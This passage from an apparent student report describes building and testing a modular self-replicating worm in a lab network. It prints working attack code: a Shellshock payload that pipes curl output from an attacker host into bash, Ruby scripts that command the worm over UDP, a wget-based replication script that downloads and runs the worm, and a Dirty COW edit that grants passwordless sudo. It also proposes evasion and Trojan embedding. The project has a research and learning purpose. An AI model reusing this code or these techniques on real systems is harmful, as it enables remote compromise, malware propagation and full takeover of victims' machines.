10.13.13.102.

The blue machine require having Bash 4.0 installed and Apache HTTPD running. The

server must have the module cgi_mod enabled and a script executable by bash, like

printenv. The code for this test is available on the git repository of the project, and has

the tag test-1. It is possible to access it with the command git checkout test-1.

5.2.3 SCENARIO 1: DEFINED TARGET AND ATTACKER

In this test, the modules shellshock and shellshock_command are modified before

compilation to contain hard-coded configuration. It means we need to re-compile them

each time we want to attack a new target. Since this test only imply one target, this

limitation is not important. The figures 5.2.1 and 5.2.2 show the required modifications

for this scenario.

P5_ATTACKER_URL = "http://10.13.13.101";
static const char *p4_default_payload = "/usr/bin/env curl "

P5_ATTACKER_URL " -L | /usr/bin/env bash";

Figure 5.2.1: Configuration of the shellshock module

P5_TARGET_URL = "http://10.13.13.102";
api_send_message((api_plugin_t){4, 0, 0, 0}, &

P4_SHELLSHOCK_WRITE_DOMAIN(P5_TARGET_URL), 1);

Figure 5.2.2: Configuration of the shellshock_command module

The script that will be executed on the blue machine has the Uniform Resource Locator

(URL) P5_ATTACKER_URL. It can contains whatever the attacker want, and we chose to

only create a file on the blue machine to prove that the scenario worked.

#!/usr/bin/env bash
echo "Vulnerable" > /tmp/vulnerable # file is overwritten

Figure 5.2.3: Example of payload that write a file on the blue machine

The payload shown on the figure 5.2.3 simply write a file located at /tmp/vulnerable

on the blue machine. After executing the worm on the red machine, if this file is present on

the blue machine, it means both that the machine is vulnerable and that the shellshock

module work correctly.

5.2.4 SCENARIO 2: UNDEFINED TARGET AND DEFINED ATTACKER

This scenario is similar to the previous one (§5.2.3), but it can get informations about

the target at the runtime, avoiding having to recompile the modules each time we want to

attack a new target.
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In this scenario, the red machine is listening for instructions on the network. It is waiting

for an UDP datagram that will tell it who is the target machine. To test it, we built a small

ruby script (Figure 5.2.4) that will command the red machine to attack the blue machine

by giving it informations about the target.

require "socket"

u = UDPSocket.new

# connect to the redmachine
u.connect("127.0.0.1", 1234)

t = "http://10.13.13.102"
# 1 byte for the message type + the url + \0
size = 1 + t.size + 1

# add a domain to target to the module 4 (shellshock module)
u.puts [0xb1ee1e,1,1,0,4,size].pack("LLCLLS") + [0].pack("C") + t
# execute the attack
u.puts [0xb1ee1e,1,1,0,4,3].pack("LLCLLS") + [3].pack("C")

Figure 5.2.4: Ruby script that order the red machine to attack the blue machine

The network module is listening for incoming datagrams, and will forward messages to

the shellshock module. The network protocol is described in details at §4.2.2.

5.2.5 SCENARIO 3: UNDEFINED TARGET AND ATTACKER

This scenario is also an improvement of the previous one (§5.2.4). In this scenario, the

payload is defined at the runtime by the attacker, and is specified to the worm on the

red machine by a remote controller. Like the second scenario, we made a ruby script to

control the worm and send a custom payload on the blue machine (Figure 5.2.5).

require "socket"
u = UDPSocket.new
u.connect("127.0.0.1", 1234)

# the payload is defined at the runtime by the attacker
p = "/usr/bin/env curl http://10.13.13.102 -L | /usr/bin/env bash"
t = "http://10.13.13.102"
u.puts [0xb1ee1e,1,1,0,4,t.size+2].pack("LLCLLS") + [0].pack("C") + t

# defines the payload
u.puts [0xb1ee1e,1,1,0,4,p.size+2].pack("LLCLLS") + [2].pack("C") + p

u.puts [0xb1ee1e,1,1,0,4,1].pack("LLCLLS") + [3].pack("C")

Figure 5.2.5: Ruby script that order the red machine to attack the blue machine with a
custom payload
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5.2.6 CONCLUSION OF THE TEST

This test is the first achievement of the project. It proves that the modular design we

designed is working, and that it is possible to run an exploit to execute a payload on a

remote machine running an outdated version of Bash.

5.3 SELF-REPLICATION USING SHELLSHOCK

5.3.1 SCOPE OF THE TEST

The purpose of this test is to try to replicate the worm on a remote machine, using the

Shellshock exploit and a replication script written in shell script. This shell script would

be executed on the target machine and it will contains commands to retrieve the worm

and its modules. So we need to have an unpatched version of bash on the target machine

and a directory where we can write the data, like the htdocs/ directory.

Like the first test (§5.2), this test should be ran in an isolated virtual network, in order to

avoid unwanted spread.

5.3.2 SCENARIO: THE WORM IS INSTALLED ON THE TARGET

This test has 3 steps: first the payload is sent to the target, then the duplication script

is executed, and finally the worm is ran on the target machine, making it a new infected

machine.

SEND THE PAYLOAD The payload is a shellscript that will be executed by the target. It is

sent by the shellshock module (Figure 5.3.1).

EXECUTE THE SCRIPT When the target executes the payload, it downloads the replication

script and executes it. This script retrieves the worm and its modules from the attacker’s

URL and executes it in the background, detaching it from the Apache HTTPD server

(Figure 5.3.2).

INFECTED TARGET The infected machine now has a running copy of the worm core, all the

worm modules and the replication script. The former target has the same configuration

than the attacker, and it is now ready to use the replication script to infect a new machine.

# $attacker_url = http://XXX
/usr/bin/env curl $attacker_url -L | URL=\"$attacker_url\" /usr/bin/

env bash

Figure 5.3.1: Replication payload
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#!/usr/bin/env sh

cd ../htdocs

# replicate the worm
wget $URL/core
wget $URL/plugins.tar.gz
tar -xf plugins.tar.gz

# replicate the infect script
wget $IP/index.html

# execute the worm
chmod 777 -R core build
./core& > /dev/null

Figure 5.3.2: Replication script

5.3.3 CONCLUSION OF THE TEST

Since a worm is, by definition, a malicious software that replicates itself through the

network, this test is very important because it proves that our modular worm has enough

features to be called a “worm”.

5.4 PRIVILEGE ESCALATION USING DIRTYCOW

5.4.1 SCOPE OF THE TEST

The goal of this test is to make the worm able to execute root commands using the Dirty

Cow exploit. By doing so, the worm can have a full control over the infected machine.

However, since the Dirty Cow exploit rely on a race condition between two threads, it

may not be possible to execute it on a virtual machine. To do this test, we rather used an

unpatched debian 7 running on an old raspberry pi.

5.4.2 SCENARIO: THE WORM CAN LAUNCH ROOT COMMAND WITHOUT

AUTHENTICATION

Most of the UNIX system have a command sudo available. This command allow a stan-

dard user to execute commands with the root permisions, depending on the configuration

file located at /etc/sudoers. We can write a module that use the dirty cow module

in order to edit this file and authorize an user to run any command without having to

provide a password (Figure 5.4.1).

char sudoers[] = "daemon ALL=(ALL) NOPASSWD: ALL";
P12_FILE_EDIT_OFFSET(_, "/etc/sudoers", 0, sudoers, sizeof(
sudoers));

Figure 5.4.1: Exploit that give sudo permissions to the user “daemon”
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5.4.3 CONCLUSION OF THE TEST

This test show us that the worm is able to increase its permissions in order to run

root commands, thus having the whole control on the machine. All the tests we did are

important because they each show a part of the process of taking control over a remote

machine. The first test prove that our modular design is working, and that the worm is

able to interact with other devices over the network. The second test show that our worm

is able to replicate itself, and the last test gives the worm full permissions over the infected

system.
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CHAPTER 6

CONCLUSION

6.1 ACHIEVEMENTS

The main goal of this project was to build a worm to understand the logic behind it,

rather than trying to decrypt the beaviour of an existing one. This resulted into a tool that

can be used for several purpose, like testing anti-viruses, penetration testing or even the

improvement our comprehension of a worm structure. The modular design of our worm

made it really flexible, and both harmless features, exploits and protection mechanisms

can be added by only writing some new modules, making it extensible and reusable in the

future.

The results of our tests showed that the worm is fully functionnal: we used the Shellshock

vulnerability on Bash and Apache to infect a remote machine, and the Dirty Cow exploit let

us take full control over it. Both those exploits have been written into standalone modules,

that rely on other modules to do any operation that is not directly in connection with

the exploit. Each module has been written without having to modify any other module,

proving that our modular architecture worked as intended.

6.2 FURTHER WORK

Several improvement can be added to our project. One of the easier one, due to the

modular design of the worm, would be to add another propagation exploit, in order to

have access to several ways of infecting a remote machine.

Currently, we have only written code for the Linux environment, and tested it on De-

bian systems. Some modifications of the code must be done to be able to run on other

platforms. For example, some functions used, like asprintf() are specific to Linux,

and are not available in other UNIX systems. Some other parts of the code needs more

modification in order to work under Windows environment, like the network module,

which uses UNIX system calls, or the module load part, which only work with UNIX shared

objects at the moment.

The obfuscation features of our worm are very limited, and are only present as a PoC.

We currently rely on the method dlopen() to load modules in the worm, which take the
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path of the module on the file system as parameter. A way to improve it would be to avoid

using this function, and manually parsing the ELF format instead. That would allow us

to not write the decrypted module in the file system at any moment, and make a static

analysis harder.

Finally, since the core of the worm has been reduced to only work as a module loader,

we can easily move all this part into another special module. This module could use the

same API as another software that use modules, like Mozilla Firefox for example, to make

this software execute all our worm. Thus the worm would be embedded into the software,

and act as a Trojan, without having to be run on its own.
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GLOSSARY

Distributed Denial of Service (DDoS) An attack where several machine are used in order
to make a network resource unavailable.. 7

GCC A C compiler that supports several standards. 4

race condition A race condition occurs when the result of several events depends on
the ordering of those events, but that order cannot be determinded due to timing
effects.. 22

Stuxnet A worm that targeted nuclear plants in Iran. 6

VirtualBox A virtualisation software that can emulate complete OS in an restricted envi-
ronment. 4, 23

zero-day Vulnerability exploited before the release of a security patch. 3, 7
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ACRONYMS

API Application Programming Interface. 11, 12, 15, 16, 19, 21, 22, 30

ARPANET Advanced Research Projects Agency Network. 5

BLOB Binary Large Object. 11

ELF Executable and Linkable Format. 18, 30

FTP File Transfer Protocol. 12

HTTP Hypertext Transfer Protocol. 20, 21

IoT Internet of Things. 7

LAN Local Area Network. 20

OS Operating System. 6

PoC Proof-of-Concept. 3, 29

POSIX Portable Operating System Interface. 19

SMTP Simple Mail Transfer Protocol. 5

TCP Transmission Control Protocol. 20

UDP User Datagram Protocol. 17, 25

URL Uniform Resource Locator. 24
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